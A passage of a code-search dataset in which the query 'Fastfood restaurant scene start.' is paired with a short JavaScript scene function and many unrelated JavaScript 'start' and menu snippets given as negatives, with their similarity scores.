inquirer.prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"choice\\\",\\n message: \\\"Supervisor's Menu Options:\\\",\\n choices: [\\\"View Product Sales By Department\\\", \\\"Create New Department\\\", \\\"Exit\\\"]\\n }\\n ]).then(function (answers) {\\n if (answers.choice === \\\"View Product Sales By Department\\\") {\\n displaySales();\\n }\\n else if (answers.choice === \\\"Create New Department\\\") {\\n createDepartment();\\n }\\n else {\\n connection.end();\\n }\\n });\\n}\",\n \"showQuickMenu() { $(`.${this.quickMenu}`).show(); }\",\n \"function actionOnClick () {\\r\\n game.state.start(\\\"nameSelectionMenu\\\");\\r\\n}\",\n \"function mainMenuShow () {\\n $ (\\\"#menuButton\\\").removeAttr (\\\"title-1\\\");\\n $ (\\\"#menuButton\\\").attr (\\\"title\\\", htmlSafe (\\\"Stäng menyn\\\")); // i18n\\n $ (\\\"#menuButton\\\").html (\\\"×\\\");\\n $ (\\\".mainMenu\\\").show ();\\n}\",\n \"function burstMenu(title,color,selected) {\\t\\njQuery('.menu-item-'+title).mouseover(function () {\\n \\n jQuery('.show-item-'+title).css({\\n visibility: 'visible',\\n\\t\\t'z-index': '2'\\n });\\n\\t\\n\\t\\n jQuery('.menu-item-'+title+' > a').css({\\n background: color\\n })\\n\\n jQuery('.show-item-'+title).mouseover(function () {\\n jQuery('.show-item-'+title).css({\\n visibility: 'visible',\\n\\t\\t\\t'z-index': '2'\\n });\\n jQuery('.menu-item-'+title+' > a').css({\\n background: color\\n })\\n });\\n\\n jQuery('.show-item-'+title).mouseout(function () {\\n jQuery('.show-item-'+title).css({\\n visibility: 'hidden'\\n });\\n jQuery('.menu-item-'+title+' > a').css({\\n background: 'inherit'\\n })\\n });\\n\\n});\\n\\njQuery('.menu-item-'+title).mouseout(function () {\\n jQuery('.show-item-'+title).css({\\n visibility: 'hidden'\\n });\\n jQuery('.menu-item-'+title+' > a').css({\\n background: 'inherit'\\n })\\n});\\n\\nif (selected == true) {\\n \\njQuery('.show-item-'+title).css('cssText', 'visibility: visible !important');\\n\\n\\t jQuery('.menu-item-'+title+' > a').css({\\n background: color\\n })\\n\\t\\t\\t\\n\\tjQuery('.menu-item-'+title).mouseout(function () {\\n jQuery('.show-item-'+title).css('cssText', 'visibility: visible !important');\\n jQuery('.menu-item-'+title+' > a').css({\\n background: color\\n })\\n\\t\\n\\t jQuery('.show-item-'+title).mouseout(function () {\\n jQuery('.show-item-'+title).css('cssText', 'visibility: visible !important');\\n\\t jQuery('.menu-item-'+title+' > a').css({\\n background: color\\n })\\n });\\n\\t\\n});\\n\\t\\t\\n}\\n\\t\\n}\",\n \"function qll_module_erepmenu()\\r\\n{\\r\\n\\tvar menu= new Array();\\r\\n\\tvar ul = new Array();\\r\\n\\r\\n\\tmenu[0]=document.getElementById('menu');\\r\\n\\tfor(i=1;i<=6;i++)\\r\\n\\t\\tmenu[i]=document.getElementById('menu'+i);\\r\\n\\t\\r\\n//\\tmenu[1].innerHTML=menu[1].innerHTML + '
              ';\\r\\n\\tmenu[2].innerHTML=menu[2].innerHTML + '
                ';\\r\\n\\tmenu[3].innerHTML=menu[3].innerHTML + '
                  ';\\r\\n\\tmenu[6].innerHTML=menu[6].innerHTML + '
                    ';\\r\\n\\t\\r\\n\\tfor(i=1;i<=6;i++)\\r\\n\\t\\tul[i]=menu[i].getElementsByTagName(\\\"ul\\\")[0];\\r\\n\\t\\r\\n\\tif(qll_opt['module:erepmenu:design'])\\r\\n\\t{\\r\\n\\t\\r\\n\\t\\t//object.setAttribute('class','new_feature_small');\\r\\n\\t\\t\\t\\r\\n\\t//\\tmenu[2].getElementsByTagName(\\\"a\\\")[0].href = \\\"http://economy.erepublik.com/en/time-management\\\";\\r\\n\\t\\t\\r\\n\\t\\t/*aux = ul[2].removeChild(ul[2].getElementsByTagName(\\\"li\\\")[6]);\\t// adverts\\r\\n\\t\\tul[6].appendChild(aux);\\r\\n\\t\\t\\r\\n\\t\\t*/\\r\\n\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='
                    ' + \\\"Work\\\" + '';\\r\\n\\t\\tul[2].appendChild(object);\\r\\n\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + \\\"Training grounds\\\" + '';\\r\\n\\t\\tul[2].appendChild(object);\\r\\n\\t\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + \\\"Newspaper\\\" + '';\\r\\n\\t\\tul[2].appendChild(object);\\r\\n\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + \\\"Inventory\\\" + '';\\r\\n\\t\\tul[2].appendChild(object);\\r\\n\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + \\\"Organizations\\\" + '';\\r\\n\\t\\tul[2].appendChild(object);\\r\\n\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + qll_lang[97] + '';\\r\\n\\t\\tul[2].appendChild(object);\\r\\n\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + qll_lang[69] + '';\\r\\n\\t\\tul[3].appendChild(object);\\r\\n\\t\\t//ul[4].insertBefore(object,ul[4].getElementsByTagName(\\\"li\\\")[3])\\r\\n\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + \\\"Loyalty program\\\" + '';\\r\\n\\t\\tul[6].appendChild(object);\\r\\n\\t\\t\\r\\n\\t\\tobject = document.createElement(\\\"li\\\"); \\r\\n\\t\\tobject.innerHTML='' + \\\"Gold bonus\\\" + '';\\r\\n\\t\\tul[6].appendChild(object);\\r\\n\\t\\t\\r\\n\\t}\\r\\n}\",\n \"function goToMenu() {\\n stopTTS();\\n cStatus = undefined;\\n cStatus = new CurrentStatus();\\n $('#quiz').hide('slow');\\n $('#game').hide('slow');\\n $('#menu').show('slow');\\n}\",\n \"removeDishFromMenu(id) {\\n this.menu = this.menu.filter(dish => dish.id !== id)\\n }\",\n \"function initMenu() {\\n // Connect Animation\\n window.onStepped.Connect(stepMenu);\\n\\n // Make buttons do things\\n let startbutton = document.getElementById('start_button');\\n \\n //VarSet('S:Continue', 'yielding')\\n buttonFadeOnMouse(startbutton);\\n startbutton.onclick = startDemo\\n\\n\\n // run tests for prepar3d integration\\n runTests();\\n}\",\n \"function dropMenu() {\\r\\n // the menu content\\r\\n document.getElementById(\\\"menu1\\\").innerHTML = \\\"Guess Table\\\";\\r\\n\\r\\n}\",\n \"function menu() {\\n if (currentPlayerPokemon.fainted == true) {\\n return;\\n }\\n rollText(\\\"battle_text\\\", `What will ${currentPlayerPokemon.name} do?`, 25);\\n document.getElementById('buttonsBattle').style['display'] = 'block';\\n button1.className = `buttons`;\\n button2.className = `buttons`;\\n button3.className = `buttons`;\\n button4.className = `buttons`;\\n button1.innerHTML = `FIGHT`;\\n button2.innerHTML = `ITEM`;\\n button3.innerHTML = `POKEMON`;\\n button4.innerHTML = `RUN`;\\n\\n button1.onclick = () => fight(currentPlayerPokemon);\\n button2.onclick = () => item();\\n button3.onclick = () => pokemon(playerParty);\\n button4.onclick = () => run();\\n}\",\n \"function mainMenu(){\\n\\tinquirer.prompt([{\\n\\t\\ttype: \\\"list\\\",\\n\\t\\tname: \\\"introAction\\\",\\n\\t\\tmessage: \\\"Welcome, pick an action: \\\",\\n\\t\\tchoices: [\\\"Create a Basic Card\\\", \\\"Create a Cloze Card\\\", \\\"Review Existing Cards\\\"]\\n\\t}]).then(function(answers){\\n\\t\\tswitch (answers.introAction) {\\n\\t\\t\\tcase \\\"Create a Basic Card\\\":\\n\\t\\t\\t\\tcreateBasicCard();\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase \\\"Create a Cloze Card\\\":\\n\\t\\t\\t\\tcreateClozeCard();\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase \\\"Review Existing Cards\\\":\\n\\t\\t\\t\\treviewCards();\\n\\t\\t\\t\\tbreak;\\n\\t\\t}\\n\\t});\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.66595","0.64337385","0.6374985","0.63151807","0.62984025","0.6261499","0.6255055","0.6168333","0.61503583","0.6132916","0.61064476","0.6048671","0.6040572","0.6017006","0.5998923","0.59902024","0.5983666","0.59650725","0.5962446","0.5915375","0.5912792","0.59121364","0.5911866","0.5911696","0.5905214","0.59035945","0.5899958","0.5891164","0.5882462","0.58595324","0.58547086","0.5854284","0.58526087","0.583259","0.5830709","0.58274823","0.5813961","0.5812124","0.5797904","0.5759864","0.5732339","0.57148737","0.5710819","0.5699959","0.5686173","0.56829816","0.5677685","0.56698877","0.5659554","0.56568444","0.5652748","0.56493646","0.56424826","0.5642481","0.5641755","0.564039","0.56296396","0.5629234","0.5629091","0.56274974","0.5624148","0.5619158","0.5611","0.56060624","0.5605676","0.5599713","0.5596655","0.5595992","0.55835587","0.55754477","0.556761","0.55617565","0.55570567","0.5550096","0.55421996","0.553594","0.5530451","0.5529532","0.55289465","0.5528202","0.5525739","0.5524392","0.55229825","0.55216175","0.5516837","0.5515344","0.5509678","0.5508808","0.5508006","0.5507807","0.550743","0.5506251","0.55015975","0.54994977","0.5493036","0.548052","0.547813","0.54749167","0.5469427","0.5464616"],"string":"[\n \"0.66595\",\n \"0.64337385\",\n \"0.6374985\",\n \"0.63151807\",\n \"0.62984025\",\n \"0.6261499\",\n \"0.6255055\",\n \"0.6168333\",\n \"0.61503583\",\n \"0.6132916\",\n \"0.61064476\",\n \"0.6048671\",\n \"0.6040572\",\n \"0.6017006\",\n \"0.5998923\",\n \"0.59902024\",\n \"0.5983666\",\n \"0.59650725\",\n \"0.5962446\",\n \"0.5915375\",\n \"0.5912792\",\n \"0.59121364\",\n \"0.5911866\",\n \"0.5911696\",\n \"0.5905214\",\n \"0.59035945\",\n \"0.5899958\",\n \"0.5891164\",\n \"0.5882462\",\n \"0.58595324\",\n \"0.58547086\",\n \"0.5854284\",\n \"0.58526087\",\n \"0.583259\",\n \"0.5830709\",\n \"0.58274823\",\n \"0.5813961\",\n \"0.5812124\",\n \"0.5797904\",\n \"0.5759864\",\n \"0.5732339\",\n \"0.57148737\",\n \"0.5710819\",\n \"0.5699959\",\n \"0.5686173\",\n \"0.56829816\",\n \"0.5677685\",\n \"0.56698877\",\n \"0.5659554\",\n \"0.56568444\",\n \"0.5652748\",\n \"0.56493646\",\n \"0.56424826\",\n \"0.5642481\",\n \"0.5641755\",\n \"0.564039\",\n \"0.56296396\",\n \"0.5629234\",\n \"0.5629091\",\n \"0.56274974\",\n \"0.5624148\",\n \"0.5619158\",\n \"0.5611\",\n \"0.56060624\",\n \"0.5605676\",\n \"0.5599713\",\n \"0.5596655\",\n \"0.5595992\",\n \"0.55835587\",\n \"0.55754477\",\n \"0.556761\",\n \"0.55617565\",\n \"0.55570567\",\n \"0.5550096\",\n \"0.55421996\",\n \"0.553594\",\n \"0.5530451\",\n \"0.5529532\",\n \"0.55289465\",\n \"0.5528202\",\n \"0.5525739\",\n \"0.5524392\",\n \"0.55229825\",\n \"0.55216175\",\n \"0.5516837\",\n \"0.5515344\",\n \"0.5509678\",\n \"0.5508808\",\n \"0.5508006\",\n \"0.5507807\",\n \"0.550743\",\n \"0.5506251\",\n \"0.55015975\",\n \"0.54994977\",\n \"0.5493036\",\n \"0.548052\",\n \"0.547813\",\n \"0.54749167\",\n \"0.5469427\",\n \"0.5464616\"\n]"},"document_score":{"kind":"string","value":"0.6014771"},"document_rank":{"kind":"string","value":"14"}}},{"rowIdx":65,"cells":{"query":{"kind":"string","value":"Fastfood restaurant scene start."},"document":{"kind":"string","value":"function fastFoodRestaurantScene() {\n subTitle.innerText = fastfoodWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fastDiv.classList.remove(\"hidden\");\n\n handleFastRestaurantChoice();\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function startup() {\n\tsceneTransition(\"start\");\n}","function start() {\n // To present a scene, use the following line, replacing 'sample' with\n // the id of any scene you want to present.\n\n SceneManager.getSharedInstance().presentScene('newScene1');\n}","function start() {\n for(var i = 0; i < sceneList.length; i++) {\n addScene(sceneList[i]); // sceneList.js is imported in html-file\n }\n setScene(\"start\");\n }","function start(){\n renderGameField();\n resizeGameField();\n spawnSnake();\n spawnFood();\n eatFood();\n renderSnake();\n}","function sceneStart(){\n\t\t\t\tfor (n = 0; n < heroes.length; n++)\n\t\t\t\t\theroes[n].tl.delay(20).fadeIn(35);\n\t\t\t\tmonster.tl.delay(20).fadeIn(35).delay(10).then(function(){\n\t\t\t\tgame.sceneStarted = true;\n\t\t\t\tthreatBar.opacity = 1;\n\t\t\t\tthreatGuage.opacity = 1;\n\t\t\t\tmonsterBox.opacity = 1;\n\t\t\t\tmonsterName.opacity = 1;\n\t\t\t\tpartyBox.opacity = 1;\n\t\t\t\tmuteButton.opacity = 1;\n\t\t\t\tfor (n = 0; n < nameLabels.length; n++){\n\t\t\t\t\tnameLabels[n].opacity = 1;\n\t\t\t\t\thpLabels[n].opacity = 1;\n\t\t\t\t\tmaxhpLabels[n].opacity = 1;\n\t\t\t\t\tmpLabels[n].opacity = 1;\n\t\t\t\t}\n\t\t\t});\n\t\t\t}","_start() {\n\n this._menuView = new MenuView(\n document.querySelector('nav'),\n this.sketches\n );\n\n for (var key in this.sketches) {\n this.DEFAULT_SKETCH = key;\n break;\n }\n\n this._setupScroll();\n this._setupWindow();\n this._onHashChange();\n }","function start()\n{\n clear();\n console.log(\"==============================================\\n\");\n console.log(\" *** Welcome to the Interstellar Pawn Shop *** \\n\");\n console.log(\"==============================================\\n\");\n console.log(\"We carry the following items:\\n\");\n readCatalog();\n}","static start() {\n this.buttonCreate();\n this.buttonHideModal();\n\n // Animal.createAnimal('Zebras', 36, 'black-white', false);\n // Animal.createAnimal('Zirafa', 30, 'brown-white', true);\n // Animal.createAnimal('Liutas', 35, 'brown', false);\n // Animal.createAnimal('Dramblys', 20, 'grey', false);\n\n this.load();\n }","function start(action) {\r\n\t\r\n\t\tswitch (action) {\r\n\t\t\tcase 'go look':\r\n\t\t\t\ttextDialogue(narrator, \"Narocube: What are you going to look at??\", 1000);\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'explore':\r\n\t\t\t\texploreship(gameobj.explore);\r\n\t\t\t\tgameobj.explore++;\r\n\t\t\tbreak;\r\n\r\n\t\t\tcase 'sit tight':\r\n\t\t\t\ttextDialogue(narrator, \"Narocube: Good choice we should probably wait for John to get back.\", 1000);\r\n\t\t\t\tgameobj.sittight++;\r\n\t\t\tbreak;\t\r\n\t\t}\r\n}","function Start(){\n activeScene.traverse(function(child){\n if(child.awake != undefined){\n child.awake();\n }\n });\n\n activeScene.traverse(function(child){\n if(child.start != undefined){\n child.start();\n }\n });\n activeScene.isReady = true;\n}","function start() {\n restarts++;\n currentScene = scenes[0];\n currentTextIndex = 0;\n\n setMainImage();\n setMainText();\n hideSetup();\n updateStats();\n}","function start(){\n\t\n}","startGame() {\n this.scene.start('MenuScene');\n }","function main () {\n // Initialise application\n\n // Get director singleton\n var director = Director.sharedDirector\n\n // Wait for the director to finish preloading our assets\n events.addListener(director, 'ready', function (director) {\n // Create a scene and layer\n var scene = new Scene()\n , layer = new Galaga()\n\n // Add our layer to the scene\n scene.addChild(layer)\n\n // Run the scene\n director.replaceScene(scene)\n })\n\n // Preload our assets\n director.runPreloadScene()\n}","function start() {\n\n console.log(\"\\n\\t ------------Welcome to Bamazon Store-------------\");\n showProducts();\n\n\n\n}","function main () {\n // Initialise application\n\n // Get director singleton\n var director = Director.sharedDirector\n\n // Wait for the director to finish preloading our assets\n events.addListener(director, 'ready', function (director) {\n // Create a scene and layer\n var scene = new Scene()\n , layer = new Plague()\n\n // Add our layer to the scene\n scene.addChild(layer)\n\n // Run the scene\n director.replaceScene(scene)\n })\n\n // Preload our assets\n director.runPreloadScene()\n}","function start() {\n startMove = -kontra.canvas.width / 2 | 0;\n startCount = 0;\n\n audio.currentTime = 0;\n audio.volume = options.volume;\n audio.playbackRate = options.gameSpeed;\n\n ship.points = [];\n ship.y = mid;\n\n tutorialMoveInc = tutorialMoveIncStart * audio.playbackRate;\n showTutorialBars = true;\n isTutorial = true;\n tutorialScene.show();\n}","function go() {\n console.log('go...')\n \n const masterT = new TimelineMax();\n \n masterT\n .add(clearStage(), 'scene-clear-stage')\n .add(enterFloorVegetation(), 'scene-floor-vegetation')\n .add(enterTreeStuff(), 'scene-enter-treestuff')\n .add(enterGreet(), 'scene-enter-greet')\n ;\n }","start() {\n console.log(\"Die Klasse App sagt Hallo!\");\n }","async start() {\n // Navbar in header\n this.navbar = new Navbar();\n this.navbar.render('header');\n\n // Footer renderin\n this.footer = new Footer();\n this.footer.render('footer');\n\n this.myFavorites = new Favorites();\n\n setTimeout(() => {\n this.router = new Router(this.myFavorites);\n }, 0)\n }","StartGame(player, start){\n this.scene.start('level1');\n }","function start() {\n init();\n run();\n }","function start(){\n\tcreateDucks(amountDucks, startGame);\n}","start() {// [3]\n }","function setup_goToStart(){\n // what happens when we move to 'goToStart' section of a trial\n wp.trialSection = 'goToStart';\n unstageArray(fb_array);\n\n // update objects\n choiceSet.arc.visible = false;\n choiceSet.arc_glow.visible = false;\n startPoint.sp.visible = true;\n startPoint.sp_glow.visible = false;\n\n // update messages\n msgs.goToStart.visible = true;\n msgs.tooSlow.visible = false;\n\n stage.update();\n }","function FXstart (){\n setTimeout(FXdisplayLaunch, 1500);\n FXweatherGeolocation();\n FXdisplayMarsWeather();\n }","function start (p){\n\tresetting=true;\n\tfoodCounter=0;\n\tdeleteAllFood();\n\treset(p);\n}","function start(){\n // First/starting background\n imageMode(CENTER);\n image(gamebackground, width/2, height/2, width, height);\n fill(255);\n text(\"Master of Pie\", width/2 - width/20, height/4);\n text(\"Start\", width/2 - width/75, height/2);\n text(\"(Landscape Orientation Preferred)\", width/2 - width/10, height/4 + height/14);\n // Pizzas array is cleared\n pizzas = [];\n // Creates the ship\n ship = new Spacecraft();\n // Creates pizzas/asteroids at random places offscreen\n for(let i = 0; i < pizzaorder; i++){\n pizzas[i] = new Rock(random(0, width), random(0, height), random(width/40, width/10));\n }\n // Reset variables\n click3 = true;\n reload = 10;\n piecutter = [];\n pizzaorder = 1;\n level = 1;\n}","function start(){\n\t\t //Initialize this Game. \n newGame(); \n //Add mouse click event listeners. \n addListeners();\n\t\t}","function start() {\n\n}","start() {\n console.log(\"Die Klasse App sagt Hallo!\");\n this._router.resolve();\n }","function start() {\n //Currently does nothing\n }","function start() {\n getTodosFromLs();\n addTodoEventListeners();\n sidebar();\n updateTodaysTodoList();\n calendar();\n}","function startLevel1(){\n teleMode = false;\n fadeAll();\n game.time.events.add(500, function() {\n game.state.start('state0');\n }, this);\n}","function startGame(){\n getDictionary();\n var state = $.deparam.fragment();\n options.variant = state.variant || options.variant;\n makeGameBoard();\n loadState();\n }","function initScene1() {\n if (currentScene === 1) {\n\n $('#game1').show(\"fast\");\n\n //clique sur une porte\n $('.dungeon0Door').on('click', function (e) {\n console.log(currentScene);\n if (consumeEnergy(10)) {\n if (oD10.roll() >= 8) {\n printConsole('Vous vous echappez du donjon');\n loadScene(2);\n } else {\n printConsole(\"Ce n'est pas la bonne porte ..\");\n $('.dungeon0Door').animate({\n opacity: '0'\n }, 'slow', function () {\n $('.dungeon0Door').animate({\n opacity: '1'\n }, 'fast');\n });\n }\n }\n });\n }\n }","function App() {\n var mouse = DreamsArk.module('Mouse');\n //\n // /**\n // * start Loading the basic scene\n // */\n DreamsArk.load();\n //\n // mouse.click('#start', function () {\n //\n // start();\n //\n // return true;\n //\n // });\n //\n // mouse.click('.skipper', function () {\n //\n // query('form').submit();\n //\n // return true;\n //\n // });\n //\n // mouse.click('#skip', function () {\n //\n // query('form').submit();\n //\n // return true;\n //\n // });\n //\n // mouse.click('.reseter', function () {\n //\n // location.reload();\n //\n // return true;\n //\n // });\n }","startScene() {\n console.log('[Game] startScene');\n var that = this;\n\n if (this.scene) {\n console.log('[Game] loading scene');\n this.scene.load().then(() => {\n console.log('[Game] Scene', that.scene.name, 'loaded: starting run & render loops');\n // setTimeout(function() {\n debugger;\n that.scene.start();\n debugger;\n that._runSceneLoop();\n that._renderSceneLoop();\n // }, 0);\n });\n } else {\n console.log('[Game] nothing to start: no scene selected!!');\n }\n }","async function start() {\n await hydrate();\n\n new Search(\".search\");\n\n const keywords = new Keywords(\".keywords\");\n searchStore.subscribe(keywords);\n\n const menuDevices = new Devices(\".menu-devices\");\n deviceStore.subscribe(menuDevices);\n dataStore.subscribe(menuDevices);\n\n const menuIngredients = new Ingredients(\".menu-ingredients\");\n dataStore.subscribe(menuIngredients);\n ingredientStore.subscribe(menuIngredients);\n\n const menuUstensils = new Ustensils(\".menu-ustensils\");\n dataStore.subscribe(menuUstensils);\n ustensilStore.subscribe(menuUstensils);\n\n const recipes = new Recipes(\".recipes\");\n dataStore.subscribe(recipes);\n searchStore.subscribe(recipes);\n}","function start() {\n\n id = realtimeUtils.getParam('id');\n if (id) {\n // Load the document id from the URL\n realtimeUtils.load(id.replace('/', ''), onFileLoaded, onInitialize);\n init();\n } else {\n // Create a new document, add it to the URL\n realtimeUtils.createRealtimeFile('MyWebb App', function (createResponse) {\n window.history.pushState(null, null, '?id=' + createResponse.id);\n id=createResponse.id;\n realtimeUtils.load(createResponse.id, onFileLoaded, onInitialize);\n init();\n });\n \n }\n \n \n }","function startGame(){\n \t\tGameJam.sound.play('start');\n \t\tGameJam.sound.play('run');\n\t\t\n\t\t// Put items in the map\n\t\titemsToObstacles(true);\n\n\t\t// Create the prisoner path\n\t\tGameJam.movePrisoner();\n\n\t\t// Reset items, we dont want the user to be able to drag and drop them\n \t\tGameJam.items = [];\n \t\t\n \t\tfor (var item in GameJam.levels[GameJam.currentLevel].items) {\n \t\t\tGameJam.levels[GameJam.currentLevel].items[item].count = GameJam.levels[GameJam.currentLevel].items[item].countStart;\n \t\t}\n\n\t\t// Reset prisoner speed\n\t\tGameJam.prisoner[0].sprite.speed = 5;\n\n\t\t// Reset game time\n\t\tGameJam.tileCounter = 0;\n\t\tGameJam.timer.className = 'show';\n\t\tdocument.getElementById('obstacles').className = 'hide';\n\t\tdocument.getElementById('slider').className = 'hide';\n\t\tdocument.getElementById('start-button-wrapper').className = 'hide';\n\n\t\t// Game has started\n\t\tGameJam.gameStarted = true;\n\n\t\tGameJam.gameEnded = false;\n\n\t\tdocument.getElementById('static-canvas').className = 'started';\n\n\t\tconsole.log('-- Game started');\n\t}","function begin() {\n\tbackgroundBox = document.getElementById(\"BackgroundBox\");\n\n\tbuildGameView();\n\tbuildMenuView();\n\n\tinitSFX();\n\tinitMusic();\n\n\tENGINE_INT.start();\n\n\tswitchToMenu(new TitleMenu());\n\t//startNewGame();\n}","start() {\n this.currentTaskType = \"teil-mathe\";\n this.v.setup();\n this.loadTask();\n }","doReStart() {\n // Stoppe la musique d'intro\n this.musicIntro.stop();\n // Lance la scene de menus\n this.scene.start('MenuScene');\n }","function start() {\n action(1, 0, 0);\n}","function start () {\n gmCtrl.setObj();\n uiCtrl.setUi();\n }","function startApp() {\n displayProducts();\n}","function loadStart() {\n // Prepare the screen and load new content\n collapseHeader(false);\n wipeContents();\n loadHTML('#info-content', 'ajax/info.html');\n loadHTML('#upper-content', 'ajax/texts.html #welcome-text');\n loadHTML('#burger-container', 'ajax/burger-background.html #burger-flags', function() {\n loadScript(\"js/flag-events.js\");\n });\n}","function start() {\r\n var questions = [{\r\n type: 'rawlist',\r\n name: 'choice',\r\n message: 'What would you like to do?',\r\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\", \"Exit Store\"]\r\n }];\r\n inquirer.prompt(questions).then(answers => {\r\n mainMenu(answers.choice);\r\n });\r\n}","function startGame(mapName = 'galaxy'){\n toggleMenu(currentMenu);\n if (showStats)\n $('#statsOutput').show();\n $('#ammoBarsContainer').show();\n scene.stopTheme();\n scene.createBackground(mapName);\n if (firstTime) {\n firstTime = false;\n createGUI(true);\n render();\n } else {\n requestAnimationFrame(render);\n }\n}","function start() { \n initiate_graph_builder();\n initiate_job_info(); \n initiate_aggregate_info();\n initiate_node_info();\n}","function startup() {\n\tsaveSlot('rainyDayZRestart');\n\tfooterVisibility = document.getElementById(\"footer\").style.visibility;\n\tfooterHeight = document.getElementById(\"footer\").style.height;\t\n\tfooterOverflow = document.getElementById(\"footer\").style.overflow;\t\n\twrapper.scrollTop = 0;\n\tupdateMenu();\n\thideStuff();\n\tif(localStorage.getItem('rainyDayZAuto')) {\n\t\tloadSlot('rainyDayZAuto');\n\t}\n\telse{\n\t\tsceneTransition('start');\n\t}\n}","function start() {\n \tkran.init(\"all\");\n \trequestAnimationFrame(gameLoop);\n }","create() {\n\n // add animations (for all scenes)\n this.addAnimations();\n\n // change to the \"Home\" scene and provide the default chord progression / sequence\n this.scene.start('Home', {sequence: [0, 1, 2, 3, 0, 1, 2, 3]});\n }","function start(){\r\n\t\t// for now, start() will call _draw(), which draws all the objects on the stage\r\n\t\t// but in the next lesson, we'll add an animation loop that calls _draw()\r\n\t\t_draw(ctx);\r\n\t}","function createStart(){\n // scene components\n startScreen = initScene();\n startText = createSkyBox('libs/Images/startscene.png', 10);\n startScreen.add(startText);\n\n // lights\n \t\tvar light = createPointLight();\n \t\tlight.position.set(0,200,20);\n \t\tstartScreen.add(light);\n\n // camera\n \t\tstartCam = new THREE.PerspectiveCamera( 90, window.innerWidth / window.innerHeight, 0.1, 1000 );\n \t\tstartCam.position.set(0,50,1);\n \t\tstartCam.lookAt(0,0,0);\n }","function startGame() {\n\t\tstatus.show();\n\t\tinsertStatusLife();\n\t\tsetLife(100);\n\t\tsetDayPast(1);\n\t}","function start(){\n\tautoCompleteSearch();\n\tsubmitButton();\n\tsubmitButtonRandom();\n\tnewSearch();\n\trandomChar();\n\thideCarouselNav();\n}","function requestFish() {\n // all_stopped = 1;\n //addFish++;\n\n view.resize(300,300);\n aquarium.viewport(300,300)\n aquarium.prepare();\n}","function start() {\n console.log(\"Loop\");\n generateArt();\n}","function start() {\n\t\t\tsetTimeout(startUp, 0);\n\t\t}","function startRitual() {\n\tconsole.log(\"** glitter **\");\n\tflash(pump);\n}","start() {\n\t\tthis.emit(\"game_start\");\n\t}","function initMenu() {\n // Connect Animation\n window.onStepped.Connect(stepMenu);\n\n // Make buttons do things\n let startbutton = document.getElementById('start_button');\n \n //VarSet('S:Continue', 'yielding')\n buttonFadeOnMouse(startbutton);\n startbutton.onclick = startDemo\n\n\n // run tests for prepar3d integration\n runTests();\n}","start() {// Your initialization goes here.\n }","function startEncounter(){\n\tthis.scene.start('Battle', {type: 'encounter'})\n}","function start() {\n INFO(\"start\", clock()+\"msecs\")\n loadThemeScript();\n if (window.MathJax)\n MathJax.Hub.Queue([\"Typeset\", MathJax.Hub]);\n beginInteractionSessions(QTI.ROOT);\n setTimeout(initializeCurrentItem, 100);\n setInterval(updateTimeLimits, 100);\n document.body.style.display=\"block\";\n INFO(\"end start\", clock()+\"msecs\");\n }","function gamestart() {\n\t\tshowquestions();\n\t}","function start() {\n\n // Make sure we've got all the DOM elements we need\n setupDOM();\n\n // Updates the presentation to match the current configuration values\n configure();\n\n // Read the initial hash\n readURL();\n\n // Notify listeners that the presentation is ready but use a 1ms\n // timeout to ensure it's not fired synchronously after #initialize()\n setTimeout(function () {\n dispatchEvent('ready', {\n 'indexh': indexh,\n 'indexv': indexv,\n 'currentSlide': currentSlide\n });\n }, 1);\n\n }","function startGame() {\n\tsetup();\n\tmainLoop();\n}","function startScreen() {\n mainContainer.append(startButton)\n }","function start() {\n console.log(\"Welcome to the Employee Tracker\");\n inquirer\n .prompt(menuOptions)\n .then((response) => {\n console.log(response);\n switch (response.mainMenu) {\n case \"View all departments\":\n queries.viewDepartments();\n break;\n\n case \"View all roles\":\n queries.viewRoles();\n break;\n\n case \"View all employees\":\n queries.viewEmployees();\n break;\n\n case \"Add a department\":\n queries.addDepartment();\n break;\n\n case \"Add a role\":\n queries.addRole();\n break;\n\n case \"Add an employee\":\n queries.addEmployee();\n break;\n\n case \"Update an employee role\":\n queries.updateRole();\n break;\n\n case \"Quit\":\n queries.quit();\n break;\n\n default:\n break;\n }\n });\n}","function main(){\n\t//Initialice with first episode\n\tvar sel_episodes = [1]\n\t//collage(); //Create a collage with all the images as initial page of the app\n\tpaintCharacters();\n\tpaintEpisodes();\n\tpaintLocations(sel_episodes);\n}","create() {\n // We have nothing left to do here. Start the next scene.\n \n\n this.input.on('pointerdown', function (pointer) {\n\n this.scene.start('Game');\n }, this);\n\n \n }","create(){\n this.scene.start('MenuGame');\n }","function start() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n \"View Products for Sale\",\n \"View Low Inventory\",\n \"Add to Inventory\",\n \"Add New Product\",\n \"Exit\"\n ]\n })\n .then(function (answer) {\n switch (answer.action) {\n case \"View Products for Sale\":\n viewProducts();\n break;\n\n case \"View Low Inventory\":\n viewLowInventory();\n break;\n\n case \"Add to Inventory\":\n addInventory();\n break;\n\n case \"Add New Product\":\n addProduct();\n break;\n\n case \"exit\":\n connection.end();\n break;\n }\n });\n}","function start() {\n 